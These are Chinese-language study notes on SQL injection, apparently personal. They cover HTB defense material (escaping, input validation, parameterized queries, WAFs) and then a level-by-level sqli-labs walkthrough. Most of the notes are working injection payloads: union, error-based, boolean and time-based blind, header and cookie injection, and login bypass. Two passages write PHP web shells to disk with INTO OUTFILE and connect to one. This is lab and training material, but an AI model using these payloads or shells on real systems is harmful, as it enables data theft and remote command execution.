例如注入

<?php system($_REQUEST[0]); ?>
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

注意""是为了让联合注入保持相同的列

如果页面没有出现任何错误,表明文件可能已经写入

我们可以浏览到shell.php页面,执行命令来验证

HTB-sql基础知识-防御

对特殊字符进行转义

漏洞代码

<SNIP>
  $username = $_POST['username'];
  $password = $_POST['password'];

  $query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ;
  echo "Executing query: " . $query . "<br /><br />";

  if (!mysqli_query($conn ,$query))
  {
          die('Error: ' . mysqli_error($conn));
  }

  $result = mysqli_query($conn, $query);
  $row = mysqli_fetch_array($result);
<SNIP>

上述代码对用户的输入没有任何过滤,从而导致了sql注入漏洞

我们可以使用mysqli_real_escape_string()函数。此函数对'"等字符进行转义,因此它们不具有任何特殊含义。从而对用户的输入进行过滤。

<SNIP>
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

$query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ;
echo "Executing query: " . $query . "<br /><br />";
<SNIP>

函数的使用方式如上述代码

黑名单输入验证

例如输入邮箱时,我们可以验证格式是否为...@email.com

漏洞代码

<?php
if (isset($_GET["port_code"])) {
	$q = "Select * from ports where port_code ilike '%" . $_GET["port_code"] . "%'";
	$result = pg_query($conn,$q);
    
	if (!$result)
	{
   		die("</table></div><p style='font-size: 15px;'>" . pg_last_error($conn). "</p>");
	}
<SNIP>
?>

我们看到 GET 参数port_code直接在查询中使用,使用正则表达式进行限制

防御


<SNIP>
$pattern = "/^[A-Za-z\s]+$/";
$code = $_GET["port_code"];

if(!preg_match($pattern, $code)) {
  die("</table></div><p style='font-size: 15px;'>Invalid input! Please try again.</p>");
}

$q = "Select * from ports where port_code ilike '%" . $code . "%'";
<SNIP>

用户权限

将超级管理员和普通用户给区分开来,保证普通用户只有最低的读取权限

web防火墙

Web 应用程序防火墙 (WAF) 用于检测恶意输入并拒绝任何包含它们的 HTTP 请求。即使应用程序逻辑有缺陷,这也有助于防止 SQL 注入。 WAF 可以是开源 (ModSecurity) 或高级 (Cloudflare)。其中大多数都有基于常见 Web 攻击配置的默认规则。例如,任何包含字符串INFORMATION_SCHEMA的请求都将被拒绝,因为它通常在利用 SQL 注入时使用。

参数化查询

参数化查询包含输入数据的占位符,然后由驱动程序转义并传递这些占位符。我们没有直接将数据传递到 SQL 查询中,而是使用占位符,然后用 PHP 函数填充它们。

修改后的代码
<SNIP>
  $username = $_POST['username'];
  $password = $_POST['password'];

  $query = "SELECT * FROM logins WHERE username=? AND password = ?" ;
  $stmt = mysqli_prepare($conn, $query);
  mysqli_stmt_bind_param($stmt, 'ss', $username, $password);
  mysqli_stmt_execute($stmt);
  $result = mysqli_stmt_get_result($stmt);

  $row = mysqli_fetch_array($result);
  mysqli_stmt_close($stmt);
<SNIP>

查询被修改为包含两个占位符,用?标记。用户名和密码将放置的位置。然后,我们使用mysqli_stmt_bind_param()函数将用户名和密码绑定到查询。这将安全地转义任何引号并将值放入查询中。

sqli-labs

第一关-闭合符'

一个有回显判断闭合符的好方法,\后面的就是闭合符,什么也没有就是无回显
原理:转义符  例如:?id=1\  看报错的回显

屏幕截图%202024-08-19%20153854

闭合符'单引号

payload

/?id=-1' union select 1,group_concat(username),group_concat(password) from users--

第二关-无闭合符

无闭合符

payload

/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

第三关-闭合符')

闭合符')

payload

/?id=-1') union select 1,group_concat(username),group_concat(password) from users--+

第四关-闭合符")

闭合符")

payload

/?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

第五关-报错注入

闭合符'

payload

/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+       爆出数据库名
/?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 3,1),0x7e))--+       爆出表名
注意,limit n,1来一个个爆出表名
/?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))--+   爆出字段名
修改limit n,1一个个爆出来
/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e))--+           爆出数据

第六关-报错注入

跟上一关一样

闭合符是"

/?id=1" and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e))--+

第七关-文件读写注入-outfile

无回显判断闭合符

首先,需要先让出现错误的报错页面

其次,在输入的闭合符后面加上--+,如果由报错页面变为正常页面,就说明这是正确的闭合符

闭合符为'))

outfile的前提条件
1.MySQL中secure_file_priv=''
2.权限为root
3.知道网站的绝对路径

payload

/?id=-1')) union select 1,0x3c3f70687020406576616c28245f504f53545b226861636b6572225d293b3f3e,3 into outfile%20 'D:/phpstudyV8/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php' --+           
注意,注入的代码要进行hex转码,记得要在十六进制字符前加上0x
hex转码脚本
a = '<?php @eval($_POST["hacker"]);?>'
b = a.encode('utf-8').hex()
print(b)

蚁剑连接http://127.0.0.1:8989/Less-7/shell.php

第八关-布尔盲注-burp爆破

先判断闭合符

/?id=1      出现正常页面
/?id=1'     出现报错页面
/?id=1'--+  出现正常页面
判断出闭合符为单引号

payload

/?id=1'union select 1,2,if(database()='security',sleep(5),0)--+    判断出数据库是security
/?id=1'union select 1,2,if((select table_name from information_schema.tables where table_schema='security' limit 3,1)='users',sleep(5),0)--+       判断出表名由users
注意,limit是关键
/?id=1'union select 1,2,if((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)='username',sleep(5),0)--+       判断出每一个字段名
/?id=1'union select 1,2,if((select password from users limit 0,1)='dumb',sleep(5),0)--+       判断出数据
注意,其中的dump不能区分大小写

另一种payload

正常流程bp爆破,记得要先判断长度是多少

屏幕截图%202024-08-20%20201841

1,2位置同理

屏幕截图%202024-08-20%20201909

屏幕截图%202024-08-20%20202625

/?id=1'and (select ascii(substr(database(),1,1))=115)--+
或者
/?id=1'and ascii(substr(database(),1,1))=115--+
爆破出数据库名
/?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+    爆出表的长度,6是爆破位

注意:爆破的时候要开url编码

这是爆破字段长度
/?id=1'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1))=3--+    
3是爆破位

类似的,每一步都跟上面步骤一样,十分繁琐

第九关-时间盲注-闭合'

判断时间盲注的闭合

/?id=1' and sleep(5)--+
根据能不能正常执行来判断闭合符,如果能证明是正确的闭合符

payload

/?id=1' and if(length(database())=8,sleep(5),0)--+
判断数据库长度
/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
爆破出数据库名,爆破点为1和115
/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),0)--+
爆破出表名,这里懒得写判断长度那一步了
/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))=105,sleep(5),0)--+
爆破出字段名
/?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),0)--+
爆破出数据

第十关-时间盲注闭合"

先判断闭合符

/?id=1" and sleep(5)--+
只有双引号才能正常执行

payload

跟上道题一样,就是单引号换双引号

第十一关-post-闭合'

在表单中,现在uname中输入\,打算判断闭合符

页面出现报错,发现

屏幕截图%202024-08-21%20112938

所以根据爆出的错误页面,知道了查询语句是uname+password

payload

bp抓包修改post

uname=-1'order by 3#&passwd=&submit=Submit
uname=-1'union select version(),database()#&passwd=&submit=Submit
uname=-1'union select version(),group_concat(table_name) from information_schema.tables where table_schema = 'security'#&passwd=&submit=Submit        
uname=-1'union select version(),group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'#&passwd=&submit=Submit

无论在password或uname上都可以,另一个输入的别让报错就行

登录页面的payload

如果想绕过登录页面,直接用万能密码

1'or 1=1#

第十二关-post-闭合符")

单独uname输入\发现闭合符是")

payload

什么都跟上道题一样,换成")就行了

第十三关-时间盲注&布尔盲注&报错注入-闭合符')

上面那几道题都有payload,懒得写了,改一改闭合符就行

第十四关-报错注入&布尔盲注-闭合符"

速通,同上

第十五关-无回显-布尔盲注-闭合符'

无回显,得先使用万能密码尝试登录页面,才能知道闭合符是什么,发现

1'or 1=1#可以出现成功的登录页面

所以判断出闭合符是'

payload同上,微调一下即可

第十六关-无回显-布尔盲注||文件注入-闭合符")

万能密码1") or 1=1#判断出闭合符

然后布尔盲注,速通,微调

估计是以上都能文件注入攻击,至少这个可以,其他的懒得试

第十七关-密码重置页面-报错注入-过滤uname表单

我们无法在初始页面判断出闭合符,所以换个思路(看源代码发现用户名被魔术方式过滤了)

首先我们要知道这是一个密码重置页面,该页面会根据我们输入的用户名,然后输入新密码,就会重置旧密码。由此我们可以知道,必须得输入正确的用户名

输入用户名admin,随便一个密码重置后,页面显示成功

我们在密码这里测试闭合符

uname=admin&passwd=1'&submit=Submit   出现报错
uname=admin&passwd=1'#&submit=Submit     加上#发现页面正常

因此得出单引号闭合符

由于页面有回显,我们可以考虑报错注入

uname=admin&passwd=1'and extractvalue(1,concat(0x7e,(database()),0x7e))#&submit=Submit
uname=admin&passwd=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#&submit=Submit

这种,照常往下

第十八关-UA头

一开始输入admin+admin半天进不去,进入主页面重新弄一下数据库就好了

先登录进入这个页面,这是一个页面登录系统

屏幕截图%202024-08-21%20165420

发现显示出UA头的数据,推测应该是UA头的sql注入

判断在UA头的闭合符,就看直接输入的字符,哪个报错是哪个

bp抓包发现'出现了报错

可以选择进行报错注入

正常的报错注入不行,我们得白盒去看源代码,才能知道插入语句,闭合value

屏幕截图%202024-08-21%20170309

可以得知闭合应该是'语句,1,1)

payload

'and extractvalue(1,concat(0x7e,(database()),0x7e)),1,1)#
报错注入一步步就行

第十九关-referer-报错注入

输入admin+admin进去,页面出现了报错

屏幕截图%202024-08-21%20185305

应该是进行referer头注入

bp抓包,在referer最后面输入单引号,果然发现了响应了报错,证明存在sql注入

屏幕截图%202024-08-21%20185627

根据源代码输入payload

'and extractvalue(1,concat(0x7e,(database()),0x7e)),1)#

接下来一步步进行报错注入就好

继续输入admin登录

登陆后的页面如下

屏幕截图%202024-08-21%20185833

发现有一个Delete Your Cookie推测可能是关于cookie的sql注入

由于这个页面显示比较多,直接抓包这个页面,在cooike出加上单引号,发现报错

屏幕截图%202024-08-21%20191745

看源代码发现可以正常闭合

'and extractvalue(1,concat(0x7e,(database()),0x7e))#

之后速通

第二十一关-base64编码-报错注入-闭合符')

bp抓包发现cookie给base64编码了

屏幕截图%202024-08-21%20192105

先判断闭合符,将admin\进行base64编码,得到YWRtaW5c,注入到cookie中

屏幕截图%202024-08-21%20192526

可知闭合符为')

屏幕截图%202024-08-21%20192701

注入

屏幕截图%202024-08-21%20192722

之后速通

第二十二关-base64-报错注入-闭合符"

步骤一样只不过换了个闭合符

自此基础sqli-labs完成

补充mid函数

mid(语句,起始,位数):用于报错注入中显示不完善的问题

eg
/?id=1' and extractvalue(1,concat(0x7e,mid((select flag from ctfshow.flag),22,31),0x7e))--+